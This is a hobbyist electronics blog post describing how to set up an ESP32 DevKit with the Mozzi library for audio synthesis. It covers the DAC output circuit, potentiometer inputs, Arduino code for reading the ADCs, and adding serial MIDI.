    Note: these are not recommended for new designs now, as updated and more powerful devices are available, but they are still readily available in a range of formats.

    It should also be noted that 8-bit isn’t particularly great for a DAC for audio. For a more useful audio quality resolution really an I2S peripheral and higher resolution DAC would be much better, but for my messing around, having no additional components is worth it for me.

    Here are the basic references required to get going:

    To install via the Arduino board manager, add in the board URL as described in the installation guide, then when searching for ESP32 the Espressif core should be listed.

    There are a range of devkits around and not all the pinouts are the same. There is an official Espressif DevKit (V4 at the time of writing), but I ended up with one including a ESP32-WROOM-32D module which the listing suggests has the following pinout:

    Warning: I’m not convinced of the accuracy of that pinout! For one thing, there are two sets of pins apparently linked to ADC 1.4 and 1.5. From other pinout diagrams I’ve seen, and going back to the datasheet for the ESP32, the labels for ADC 1.4 to 1.9 on the bottom left should read ADC 2.4 to 2.9.

    I’m now wondering if the one here is more accurate: https://mischianti.org/doit-esp32-dev-kit-v1-high-resolution-pinout-and-specs/. Basically, the GPIO numbers should be checked off against the datasheet when it comes to additional functions. The DAC does appear to be on GPIO 25 and 26 though.

    As a test, once the ESP32 core is installed, select the ESP32-WROOM-DA module from the Arduino board menu, open the blink application and add the following line at the top of the file:

    #define LED_BUILTIN 2

    This is because my DevKit has an LED on D2 (there are two surface mount LEDs labelled PWR and D2 as per the diagram above) but LED_BUILTIN is generally undefined by default.

    The code should build, download, and run and result in the on-board LED flashing as expected.

    Parts list

    • ESP32-WROOM-32D DevKit
    • 1x 10uF electrolytic or non-polar capacitor
    • 2x 1KΩ resistors
    • 1x TRS breakout
    • Breadboard and jumper wires
    • Optional: Several 10KΩ potentiometers

    The Circuit

    These modules are pretty wide, so only just fit onto a solderless breadboard and then only with one row of holes down one side exposed, so they aren’t particularly practical on that front! But that is enough for some simple tests.

    The DAC outputs can be found on GPIO25 and 26. Mozzi treats them both the same when in mono mode. The output of the DAC will be just over 0V to just under 3.3V. Using a coupling capacitor to remove the DC bias could get this to be approx +/- 1.6V. That is a little high for a line level signal so I use a 1K/1K potential divider to half that to around +/- 800mV.

    I believe the current limit for GPIO pins on the ESP32 is 40mA, but a line input should be fairly high impedance anyway so that shouldn’t be an issue as I understand things.

    Pretty much every audio circuit I’ve seen hanging off the DAC pins, pipes them into a small audio amplifier, but with the above circuit, I feel relatively happy plugging it into my sacrificial line-level mini amplifier.

    As an additional test, potentiometers can be connected up to 3V3 and GND and with the wiper easily connected to any of the following pins: GPIO 13, 12, 14, 27. Connecting to 3V3 is a bit more of a challenge, but I used a jumper wire from beneath the ESP32 to connect round to the breadboard’s power rails.

    Note: they must NOT be connected to VIN which is sitting at the USB 5V level.

    The following diagram shows one potentiometer connected to GPIO 13, with extension wires for other pots on 12, 14 and 27.

    The Code

    Once the blink test is successful, then a simple Mozzi test can be performed. By default, Mozzi will output to the DAC with a mono feed going to both pins, so the starting point would be to try the following:

    • Examples/Mozzi/01.Basics/Sinewave
    • Examples/Mozzi/06.Synthesis/FMSynth

    Note that there are a whole lot of additional Arduino examples to explore the capabilities of the ESP32 before getting to Mozzi if required. These are found under the “Examples for ESP32” sub-menu once the core is installed, as detailed here: https://github.com/espressif/arduino-esp32/tree/master/libraries

    To run a potentiometer test requires the use of analogRead with the GPIO pin number. So if the easily accessible GPIOs are used as described previously, then the following code could test that.

    #define NUM_POTS 4
    int potpins[NUM_POTS] = {
    13, 12, 14, 27 // ADC 2.4, 2.5, 2.6, 2.7
    };

    void setup() {
    Serial.begin(9600);
    }

    void loop() {
    for (int i=0; i<NUM_POTS; i++) {
    int aval = analogRead(potpins[i]);

    Serial.print(aval);
    Serial.print("\t");
    }
    Serial.print("\n");
    delay(100);
    }

    The analog to digital converters are 12-bit compared to the Arduino Uno’s 10-bit. This means that the values range from 0..4095 rather than 0..1023.

    Assuming everything is successful so far then it should be possible to use the code from Arduino Multi-pot Mozzi FM Synthesis – Revisited and related projects, but the scaling of the potentiometer will have to reflect the additional range of values.

    One example configuration could be:

    //#define WAVT_PIN 1  // Wavetable
    #define INTS_PIN 13 // FM intensity
    #define RATE_PIN 12 // Modulation Rate
    #define MODR_PIN 14 // Modulation Ratio
    //#define AD_A_PIN 5 // ADSR Attack
    //#define AD_D_PIN 8 // ADSR Delay
    #define FREQ_PIN 27 // Optional Frequency Control

    As mentioned, all the calls to analogRead will need to be shifted down by an extra 2, but as in later versions of the code I’ve used a myAnalogRead function, I can do this all in one place with the following implementation for the ESP32:

    int myAnalogRead (int pot) {
    #ifdef POT_REVERSE
    return 1023 - (mozziAnalogRead(pot)>>2);
    #else
    return mozziAnalogRead(pot)>>2;
    #endif
    }

    One final update once again is to define the MIDI LED to use D2 rather than LED_BUILTIN.

    Adding MIDI

    To add serial MIDI (USB MIDI is not supported on the original ESP32) requires a 3V3 compatible MIDI module (see here, here or here for some options).

    Once again I’ve made connections beneath the ESP32 board for GND, RXD and TXD.

    I’ve used GPIO 3 and 1 which are RXD0 and TXD0 respectively. These are shared with the USB interface, so links here must be removed when reprogramming the ESP32 (just like with an Arduino Uno or Nano). There is a second hardware UART on GPIO 16 and 17 (RXD, TXD) which could be used instead (or in addition to) if required.

    I’ve also highlighted above where additional potentiometers could be added – a further six on GPIO 33, 32, 35, 34, 39 and 36. Consequently an alternative pot configuration using six pots for a fuller synth with MIDI could be:

    #define WAVT_PIN 33  // Wavetable
    #define INTS_PIN 32 // FM intensity
    #define RATE_PIN 35 // Modulation Rate
    #define MODR_PIN 34 // Modulation Ratio
    #define AD_A_PIN 39 // ADSR Attack
    #define AD_D_PIN 36 // ADSR Delay

    The photo at the top of this post shows my Analog IO Board and 3V3 MIDI Module hooked up to provide a nice little MIDI FM synth.

    Find it on GitHub here.

    Closing Thoughts

    This is a really good starting point with a relatively new (to me) architecture. There is a lot of potential use here, with so many ADC inputs, two DAC outputs and even the Wi-Fi for future use. It will also be interesting to see how the dual cores could be used too.

    To really do some more complex experiments though I think I’ll need a ESP32 audio/mozzi experimenter PCB along the lines of my Nano and XIAO boards, especially as these modules are quite wide. If I was feeling really brave, I could even design around the actual EP32-WROOM module itself rather than one of these DevKits…

    But this all proved relatively straight forward to get set up and running so far.

    Kevin

    https://diyelectromusic.wordpress.com/2024/03/19/esp32-and-mozzi/

    #analog #dac #define #else #endif #esp32 #ifdef #mozzi